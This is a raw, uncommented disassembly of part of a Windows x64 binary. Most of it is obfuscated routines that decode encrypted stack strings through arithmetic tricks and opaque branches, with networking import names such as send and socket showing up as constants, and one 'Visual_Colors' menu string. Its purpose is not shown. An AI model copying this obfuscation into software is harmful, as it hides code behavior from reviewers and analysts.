lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140087470
lea ecx, [r10 + 0x2e]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x42
inc r8
dec r10
inc r10
jmp 0x140086cd3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400874a2
lea edx, [r10 - 0x76]
movzx eax, r9b
and al, dl
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140086cd3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400874cf
movzx r11d, r10b
lea edx, [r11 - 0x1a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4a
jmp 0x1400877f6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400874fb
lea edx, [r10 + 0x42]
movzx eax, r9b
and al, dl
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008781e
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140087524
lea ecx, [r10 - 0x62]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x52
jmp 0x140087821
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140087183
movzx r11d, r10b
lea edx, [r11 - 6]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400876c0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008758f
lea edx, [r10 + 0x18]
movzx eax, r9b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x140]
add rax, r8
add r10, rax
inc r10
jmp 0x140086cd3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400875bc
movzx r11d, r10b
lea edx, [r11 - 0x30]
movzx eax, r9b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400876c0
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400875e8
lea edx, [r10 - 0x78]
movzx eax, r9b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008781e
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008761a
lea edx, [r10 + 0x40]
movzx eax, r9b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140086cd3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008764c
lea ecx, [r10 - 0x64]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x44
inc r8
dec r10
inc r10
jmp 0x140086cd3
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14008713f
movzx r11d, r10b
lea edx, [r11 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400877ab
movzx r11d, r10b
lea edx, [r11 - 0x50]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x140]
sub cl, al
add cl, 0x18
lea edi, [rcx + rcx]
jmp 0x1400877f6
movzx r11d, r10b
lea edx, [r11 + 0xc]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, byte [rbp + r10 + 0x140]
sub dil, 0x54
add dil, dl
sub r11b, 0x46
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x16
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x140], al
inc r8
add rax, r8
sub r10, rax
jmp 0x140087854
lea edx, [r10 - 0x7e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x140]
add rax, r8
add r10, rax
inc r10
jmp 0x140086cd3
lea edx, [r10 + 0x26]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xa
add dil, dl
jmp 0x140087854
lea ecx, [r10 + 0x6e]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 2
jmp 0x140087821
movzx r11d, r10b
lea edx, [r11 - 0x4a]
mov ecx, 3
jmp 0x1400877e8
movzx r11d, r10b
lea edx, [r11 - 0x5e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6e
jmp 0x1400877ab
movzx r11d, r10b
lea edx, [r11 - 0x16]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x66
add dil, dl
add r11b, 2
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0xe
add r9b, r11b
mov byte [rbp + r10 + 0x140], r9b
inc r8
dec r10
inc r10
jmp 0x140086cd3
movzx r11d, r10b
lea edx, [r11 - 0x2a]
mov ecx, reloc.WS2_32.dll_send
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add r11b, 0x5e
movzx eax, r9b
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dil
add cl, r11b
mov byte [rbp + r10 + 0x140], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140086cd3
lea rcx, [r10 + r15]
movzx r9d, dl
and dl, cl
mov eax, 0x1b
sub al, dl
lea edi, [rax + rax]
add dil, r9b
add dil, cl
lea edx, [r10 + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x140], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x140]
add rax, r8
add r10, rax
inc r10
jmp 0x140086cd3
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x46
movzx eax, byte [rbp + r10 + 0x140]
add rax, r8
add r10, rax
inc r10
jmp 0x140086cd3
add r10b, 0x66
movzx eax, r9b
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140086cd0
add r10b, 0xa
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x46
jmp 0x140086cc0
lea rcx, [rbp + 0x1437a28]
jmp 0x140087922
lea rcx, [rbp + 0xb43dd6]
jmp 0x140087922
lea rcx, [rbp + 0x140]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r13
movaps xmm3, xmm13
movaps xmm2, xmm12
lea rdx, [0x1401eb1c0]
call fcn.14003f420
mov byte [rbp + 0x600], 0x1b
mov byte [rbp + 0x601], 0x20
mov byte [rbp + 0x602], 0x2f
mov byte [rbp + 0x603], 0x27
mov byte [rbp + 0x604], 0x29
mov byte [rbp + 0x605], 0x3d
mov byte [rbp + 0x606], 0x21
mov byte [rbp + 0x607], 0x3d
mov byte [rbp + 0x608], 0x4e
mov byte [rbp + 0x609], 1
mov byte [rbp + 0x60a], gethostname
mov byte [rbp + 0x60b], 0x3c
mov byte [rbp + 0x60c], gethostname
mov byte [rbp + 0x60d], 0x3c
mov byte [rbp + 0x60e], 0x3a
mov byte [rbp + 0x60f], 0x3c
mov byte [rbp + 0x610], 0x2b
mov byte [rbp + 0x611], 0x28
mov byte [rbp + 0x612], 0xa4
xor eax, eax
mov qword [rbp + 0x613], rax
mov dword [rbp + 0x61b], eax
mov word [rbp + 0x61f], ax
mov byte [rbp + 0x621], al
movabs rsi, 0xfa72b72f64965b49
movabs r15, 0xd923024bc01c7eff
movabs r14, 0xef58258e2dc311db
movzx edi, byte [rsp + 0x50]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
mov r10, r12
cmp r10, 0x22
jae 0x1400884f0
movzx r9d, byte [rbp + r10 + 0x600]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x1400884e4
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140087a72
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
inc dil
jmp 0x140087aa0
je 0x140088473
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400883e7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400883c5
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400883a0
nop
cmp r8, r10
ja 0x1400884d8
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x140087ad1
lea ecx, [r10 - 3]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x15
jmp 0x140087b00
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140088355
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140088322
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140088307
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140087fde
nop dword [rax]
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140087fbb
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140087f93
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140087f6e
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140087f4b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140087f2c
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140087f0d
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140087eee
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140087ecf
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140087e9e
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140087b10
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 2]
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400884bb
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14008849e
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140087cc0
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140087ca5
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140087c8a
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140087df7
lea rbx, [r8 + 9]
lea r8, [rbx + 0x64]
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140087dca
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140087daf
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140087d94
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140087d79
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140087d5e
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140087d3f
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140087d1e
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140087cfa
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140087cdb
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140087b10
lea rbx, [r8 + 5]
lea r8, [rbx + 0x28]
jmp 0x140087b10
lea ecx, [r10 - 0x5d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x75
jmp 0x140087b00
lea ecx, [r10 + 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x77
jmp 0x140087aa0
lea ecx, [r10 + 0x7f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x79
jmp 0x140087a36
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
movzx r11d, r10b
jmp 0x140088373
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
inc r8
dec r10
inc r10
jmp 0x140087a23
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
dec r10
inc r10
jmp 0x140087a23
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
movzx r11d, r10b
jmp 0x1400882c7
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x140088339
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x62
jmp 0x14008833c
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
jmp 0x140088401
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x66
jmp 0x14008842c
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
movzx eax, byte [rbp + r10 + 0x600]
add rax, r8
add r10, rax
inc r10
jmp 0x140087a23
lea ecx, [r10 + 0x35]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x73
lea rax, [r8 + rbx]
cmp rax, 0x61
je 0x1400882eb
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x1400880f7
lea ecx, [r10 + 0x65]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3d
cmp rbx, 0x3e8
jae 0x1400882a5
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x1400881a1
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 6
jb 0x140088295
movzx r11d, r10b
lea ecx, [r11 + 0x16]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x34]
jmp 0x140088373
lea edx, [r10 - 0x12]
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x600]
add rax, r8
add r10, rax
inc r10
jmp 0x140087a23
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008842c
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088401
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008833c
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088339
movzx r11d, r10b
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400882c7
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140087a23
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140087a23
movzx r11d, r10b
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088373
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x140088005
lea ecx, [r10 + 0x49]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
inc dil
jmp 0x140087e0d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008803f
lea edx, [r10 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x600]
add rax, r8
add r10, rax
inc r10
jmp 0x140087a23
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008806b
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088401
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140088097
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088339
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400880c7
movzx r11d, r10b
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400882c7
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140087e0d
movzx r11d, r10b
lea edx, [r11 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088373
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140088123
movzx r11d, r10b
lea ecx, [r11 - 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3f
jmp 0x140088373
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140088151
lea ecx, [r10 + 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x43
dec r10
inc r10
jmp 0x140087a23
cmp rbx, rcx
jne 0x140088179
movzx r11d, r10b
lea ecx, [r11 - 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x45
jmp 0x1400882c7
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140087e3e
lea ecx, [r10 - 0x2f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x49
jmp 0x14008833c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400881db
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x600]
add rax, r8
add r10, rax
inc r10
jmp 0x140087a23
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140088207
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008842c
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140088233
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088401
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140088265
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140087a23
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140087e72
movzx r11d, r10b
lea edx, [r11 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088373
mov byte [rbp + r10 + 0x600], dil
inc r10
jmp 0x140087a23
movzx r11d, r10b
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x600]
sub cl, al
add cl, 0x34
lea edi, [rcx + rcx]
add dil, dl
sub r11b, 0xf
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x69
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 + 0x600], r9b
jmp 0x140088339
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140088401
lea ecx, [r10 - 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x23
jmp 0x140088401
lea ecx, [r10 - 0x29]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x1f
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140087a23
movzx r11d, r10b
lea edx, [r11 - 0x71]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x17
add dil, dl
add r11b, 0x5f
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x67
add r9b, r11b
mov byte [rbp + r10 + 0x600], r9b
inc r8
dec r10
inc r10
jmp 0x140087a23
lea ecx, [r10 - 0x27]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x11
inc r8
dec r10
inc r10
jmp 0x140087a23
lea ecx, [r10 + 0x47]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0xf
dec r10
inc r10
jmp 0x140087a23
lea rcx, [r10 + r15]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
add dil, 7
add dil, cl
lea edx, [r10 - 0x7d]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x6b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x600], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x600], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x600]
add rax, r8
add r10, rax
inc r10
jmp 0x140087a23
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 3
movzx eax, byte [rbp + r10 + 0x600]
add rax, r8
add r10, rax
inc r10
jmp 0x140087a23
sub r10b, 0x13
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7b
jmp 0x140087a20
add r10b, 0x5b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7d
jmp 0x140087a04
lea rcx, [rbp + 0x1455b0c]
jmp 0x1400884f7
lea rcx, [rbp + 0x11bb655]
jmp 0x1400884f7
lea rcx, [rbp + 0x600]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r13
movaps xmm3, xmm13
movaps xmm2, xmm12
lea rdx, [0x1401eb1c4]
call fcn.14003f420
call fcn.14000cc70
mov dword [rsp + 0x74], 0x43bf0000
mov dword [rsp + 0x78], 0x438d0000
lea rcx, [rsp + 0x74]
call fcn.14001a6b0
mov dword [rbp - 0x3c], 0x438d0000
mov dword [rbp - 0x38], 0x432e0000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x3c]
lea rcx, str.Visual_Colors
call fcn.140009cf0
mov byte [rbp + 0x160], 0xd8
mov byte [rbp + 0x161], 0xd0
mov byte [rbp + 0x162], 0xce
mov byte [rbp + 0x163], 0x83
mov byte [rbp + 0x164], 0xdf
mov byte [rbp + 0x165], 0x4c
mov byte [rbp + 0x166], 0x48
mov byte [rbp + 0x167], 0x4e
mov byte [rbp + 0x168], 0x4c
mov byte [rbp + 0x169], 0xd9
xor eax, eax
mov qword [rbp + 0x16a], rax
mov word [rbp + 0x172], ax
mov byte [rbp + 0x174], al
movabs rsi, 0xd2656d7ba3b9a6bb
movabs r15, 0xc0c5fe617a138f1d
movabs r14, 0x77304872eb2cf431
movzx edi, byte [rsp + 0x50]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x15
jae 0x14008901b
movzx r9d, byte [rbp + r10 + 0x160]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008900f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140088640
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x1d
jmp 0x140088680
je 0x140088f9e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140088f15
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140088ee3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140088ec2
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140088e7b
nop word [rax + rax]
cmp r8, r10
ja 0x140089003
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x1400886b1
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x61
jmp 0x1400886d0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140088e5c
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140088e41
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140088b6d
nop dword [rax]
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140088b4e
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140088b26
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140088b01
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140088ae2
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140088ac7
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140088aa8
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140088a89
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140088a6e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400886e0
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140088fe6
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140088fc9
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14008887f
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140088864
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140088849
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140088a25
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400889e0
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14008899e
lea rbx, [r8 + 0x64]
lea r8, [rbx + 9]
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140088971
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140088956
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140088937
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140088918
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400888fd
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400888de
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400888b9
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14008889a
lea rbx, [r8 + 8]
lea r8, [rbx + 0x2a]
jmp 0x1400886e0
lea ecx, [r10 - 0x77]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x41
jmp 0x1400886d0
lea ecx, [r10 + 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7b
jmp 0x140088680
lea ecx, [r10 - 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4b
jmp 0x140088606
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
movzx r11d, r10b
jmp 0x140088e95
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400885f3
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
movzx r11d, r10b
jmp 0x140088df7
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140088ef9
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088efc
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
